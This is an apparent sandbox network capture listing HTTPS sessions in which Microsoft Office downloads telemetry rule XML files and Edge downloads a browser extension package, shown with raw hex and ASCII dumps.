2024-11-20 07:09:18 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49746	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:18 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:18 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070918Z-185f5d8b95cqnkdjhC1NYCm8w800000009sg000000007wu9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:18 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:18 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:18 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070918Z-185f5d8b95cx9g8lhC1NYCtgvc000000025g00000000fvct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:18 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:18 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:18 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:18 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: d9470d89-501e-0047-17f3-3ace6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070918Z-185f5d8b95c4vwv8hC1NYCy4v40000000a2g000000004sm1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 07:09:18 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	49747	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:18 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:18 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:18 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070918Z-1777c6cb754wcxkwhC1TEB3c6w000000098g000000001rms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:18 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:19 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070920Z-185f5d8b95cf7qddhC1NYC66an00000009vg00000000k5wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:19 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070920Z-185f5d8b95c95vpshC1NYC759c00000009w000000000bsym x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:20 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070920Z-185f5d8b95crwqd8hC1NYCps6800000009wg000000008ccf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070920Z-185f5d8b95c4bhwphC1NYCs8gw0000000a0g00000000bbvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:20 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070920Z-1777c6cb754j8gqphC1TEB5bf8000000098g000000001e6d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49770	216.58.206.33	443	7860	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:20 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-20 07:09:20 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC76i6nkF4d11cES3HlUhSPcmmGjZZDSxTXCgX6gwin7T1d3IU4WcplKWkPO6eAlCL-Q_mtVfvbXtg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 19 Nov 2024 16:45:00 GMT Expires: Wed, 19 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Age: 51860 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-20 07:09:20 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-20 07:09:20 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
